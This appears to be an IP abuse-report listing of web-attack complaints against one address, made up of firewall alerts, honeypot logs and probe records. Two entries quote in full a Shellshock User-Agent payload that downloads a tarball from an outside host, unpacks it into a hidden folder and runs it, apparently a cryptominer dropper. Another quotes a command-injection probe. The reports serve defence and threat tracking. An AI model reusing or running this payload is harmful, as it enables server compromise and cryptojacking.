2026-11-07 22:31:22
UTC ·
(2 days ago)
Fail2Ban: repeated malicious HTTP requests (path probing / exploit attempts) against a public web server.
Web App Attack
Bad Web Bot
2026-11-06 10:21:20
UTC ·
(4 days ago)
Fail2Ban: repeated malicious HTTP requests (path probing / exploit attempts) against a public web server.
Web App Attack
Bad Web Bot
🇪🇸
Yoeph
2026-11-05 05:29:18
UTC ·
(5 days ago)
Malicious probe on /foo.jsp (Permanently Banned) by TurnoControlPro Web Shield
Hacking
Bad Web Bot
Web App Attack
🇬🇧
gws-hostmaster
2026-11-05 03:47:35
UTC ·
(5 days ago)
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Com ...
show more
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Command Execution;Remote Command Execution: Java serialization (CVE-2015-4852);Remote Command Execution: Shellshock (CVE-2014-6271);Remote Command Execution: Unix Command Injection (2-3 chars);Remote Command Execution: Unix Shell Code Found;Remote Command Execution: Unix Shell Expression Found;Remote Command Execution: Windows Command Injection;Suspicious Java class detected;
show less
Web App Attack
🇺🇸
technojoe99
2026-11-04 23:19:40
UTC ·
(5 days ago)
Exploit scan from 164.92.166.42. GET /foo.jsp HTTP/1.1.
Web App Attack
🇩🇪
HoneyPotFRI
2026-11-04 22:22:24
UTC ·
(5 days ago)
164.92.166.42 [redacted]:80 (14061-DigitalOcean, LLC Germany Frankfurt am Main) - - [04/Nov/2026:23:22:08 +0100] "POST / HTTP/1.1" 405 157 "-" "Mozilla/5.0"
164.92.166.42 [redacted]:80 (14061-Digi
...
Bad Web Bot
Web App Attack
🇩🇪
Grossmann-Gruppe
2026-11-04 20:14:36
UTC ·
(5 days ago)
Plesk Fail2Ban: plesk-modsecurity
Hacking
Brute-Force
🇩🇪
Progetto1
2026-11-04 19:39:02
UTC ·
(5 days ago)
Detected via HAProxyScanner at 2026-11-04 19:39:02 UTC on destination port WEB (80/443). Repeated scan / connection.
Port Scan
Hacking
Brute-Force
🇬🇧
relianoid.com
2026-11-04 15:36:18
UTC ·
(5 days ago)
404 Errors Abuse detected by Relianoid OSS Load Balancer - relianoid.com
Web App Attack
2026-11-04 15:32:47
UTC ·
(5 days ago)
Unauthorized access (8080/tcp/http-alt)
Port Scan
🇺🇸
drewf.ink
2026-11-04 15:03:22
UTC ·
(5 days ago)
[15:03] Sent a Command Injection payload (GET /) - matched: '$(cat $X)'
Web App Attack
🇸🇬
simpeg-adm.bandung.go.id
2026-11-04 14:52:48
UTC ·
(5 days ago)
04/Nov/2026:14:52:46 +0000;164.92.166.42;"/?rest_route=/batch/v1"
04/Nov/2026:14:52:46 +0000;164.92.166.42;"/"
04/Nov/2026:14:52:47 +0000;164.92.166.42;"/"
04/Nov/2026:14:52:47 +0000;164.92.166.42;"/"
04/Nov/2026:14:52:48 +0000;164.92.166.42;"/foo.js ...
show more
04/Nov/2026:14:52:46 +0000;164.92.166.42;"/?rest_route=/batch/v1"
04/Nov/2026:14:52:46 +0000;164.92.166.42;"/"
04/Nov/2026:14:52:47 +0000;164.92.166.42;"/"
04/Nov/2026:14:52:47 +0000;164.92.166.42;"/"
04/Nov/2026:14:52:48 +0000;164.92.166.42;"/foo.jsp"
04/Nov/2026:14:52:48 +0000;164.92.166.42;"/api/v1/code/blocks/exec/code"
04/Nov/2026:14:52:48 +0000;164.92.166.42;"/code/blocks/exec/code"
...
show less
Web Spam
Brute-Force
Web App Attack
🇪🇸
GranTech
2026-11-04 13:47:04
UTC ·
(5 days ago)
164.92.166.42 - - [04/Nov/2026:13:47:04 +0000] "GET / HTTP/1.1" 400 91192 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || ...
show more
164.92.166.42 - - [04/Nov/2026:13:47:04 +0000] "GET / HTTP/1.1" 400 91192 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || wget -q -O /tmp/dota3.tar.gz https://badmonner.s.gy/dota-download 2>/dev/null || (apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq curl >/dev/null 2>&1; curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null)); tar xzf /tmp/dota3.tar.gz -C ~ 2>/dev/null || tar xzf /tmp/dota3.tar.gz -C /tmp 2>/dev/null; D=~/.configrc6; [ -f $D/initall ] || D=/tmp/.configrc6; chmod +x $D/initall 2>/dev/null; nohup $D/initall >/dev/null 2>&1)) >/dev/null 2>&1 & echo c_''a01c1043b287f5a7"
...
show less
Web App Attack
🇺🇸
PlexLads
2026-11-04 12:50:31
UTC ·
(5 days ago)
147.182.234.53:443 164.92.166.42 - - [04/Nov/2026:04:50:29 -0800] "GET / HTTP/1.1" 403 1841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 147.182.234.53:443 164.92.166.42 - - [04/Nov/2026:04:50:29 -0800] "GET / HTTP/1.1" 403 366 ...
show more
147.182.234.53:443 164.92.166.42 - - [04/Nov/2026:04:50:29 -0800] "GET / HTTP/1.1" 403 1841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 147.182.234.53:443 164.92.166.42 - - [04/Nov/2026:04:50:29 -0800] "GET / HTTP/1.1" 403 366 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || wget -q -O /tmp/dota3.tar.gz https://badmonner.s.gy/dota-download 2>/dev/null || (apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq curl >/dev/null 2>&1; curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null)); tar xzf /tmp/dota3.tar.gz -C ~ 2>/dev/null || tar xzf /tmp/dota3.tar.gz -C /tmp 2>/dev/null; D=~/.configrc6; [ -f $D/initall ] || D=/tmp/.configrc6; chmod +x $D/initall 2>/dev/null; nohup $D/initall >/dev/null 2>&1)) >/dev/null 2>&1 & echo c_''a01c1043b287f5a7"
show less
Hacking
Web App Attack
🇸🇬
itachi1706
2026-11-04 09:24:48
UTC ·
(6 days ago)
164.92.166.42 - - [04/Nov/2026:17:24:47 +0800] "POST / HTTP/1.1" 405 1410 "-" "Mozilla/5.0"
164.92.166.42 - - [04/Nov/2026:17:24:47 +0800] "POST / HTTP/1.1" 405 1410 "-" "Mozilla/5.0"
...
Brute-Force
Web App Attack
